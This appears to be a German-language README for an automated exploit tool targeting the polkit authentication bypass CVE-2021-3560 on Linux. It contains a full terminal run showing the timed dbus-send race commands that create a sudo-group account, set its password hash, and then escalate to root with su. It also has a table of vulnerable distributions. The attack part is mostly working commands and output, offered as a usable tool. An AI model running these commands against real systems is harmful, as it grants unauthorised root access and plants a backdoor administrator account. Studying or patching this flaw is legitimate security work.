
Automatischer Exploit-PoC für Polkit CVE-2021-3560
Automatischer Exploit-PoC für Polkit CVE-2021-3560
CVE-2021-3560 ist ein Authentifizierungs-Bypass in polkit, der es nichtprivilegierten Benutzern ermöglicht, privilegierte Methoden mittels DBus aufzurufen. In diesem Exploit rufen wir zwei privilegierte Methoden des accountsservice auf (CreateUser und SetPassword), mit denen wir einen privilegierten Benutzer erstellen, ein Passwort setzen und uns schließlich als der erstellte Benutzer anmelden können, um dann zu root zu werden. https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
ubuntu@ubuntu2004:~/polkit-auto-exploit$ ./polkit-auto-exploit -u adminhs -p admin1 -f admin
[===] Auto Exploitation PoC for Polkit CVE-2021-3560 by Petruknisme [===]
[+] Current User: ubuntu
[+] Variable for Polkit Configuration
[*] Username : adminhs
[*] Password : admin1
[*] Fullname : admin
[+] Sending create user command to determine time execution
[*] Execution time: 0.018076ms
[+] Time to killing dbus-send setting to 0.009038ms
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adminhs string:'admin' int32:1 & sleep 0.009038s ; kill $!
..................
[+] GOTCHAAA! User adminhs is created with sudo member group
[+] Getting UID from user: 1015
[+] Creating password with OpenSSL
$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0
[+] Triggering polkit to create password for adminhs
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1015 org.freedesktop.Accounts.User.SetPassword string:'$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0' string:admin & sleep 0.009038s ; kill $!
Failed to execute command: echo admin1 | su -c id adminhs
uid=1015(adminhs) gid=1015(adminhs) groups=1015(adminhs),27(sudo)
[+] GOTCHAAA! Success login with User adminhs & password: admin1
[+] You can login to root using su with user and password created before: su -c 'sudo su' adminhs
Jedes System mit einer installierten polkit-Version 0.113 (oder neuer) ist anfällig. Dazu gehören verbreitete Distributionen wie RHEL 8 mit polkit-Version 0.115 und Ubuntu 20.04 mit polkit-Version 0-105-26 (Debian-Fork von polkit).
MIT Lizenz
| Distribution | Anfällig? |
|---|---|
| RHEL 7 | Nein |
| RHEL 8 | Ja |
| Fedora 20 (oder älter) | Nein |
| Fedora 21 (oder neuer) | Ja |
| Debian 10 („buster”) | Nein |
| Debian testing („bullseye”) | Ja |
| Ubuntu 18.04 | Nein |
| Ubuntu 20.04 | Ja |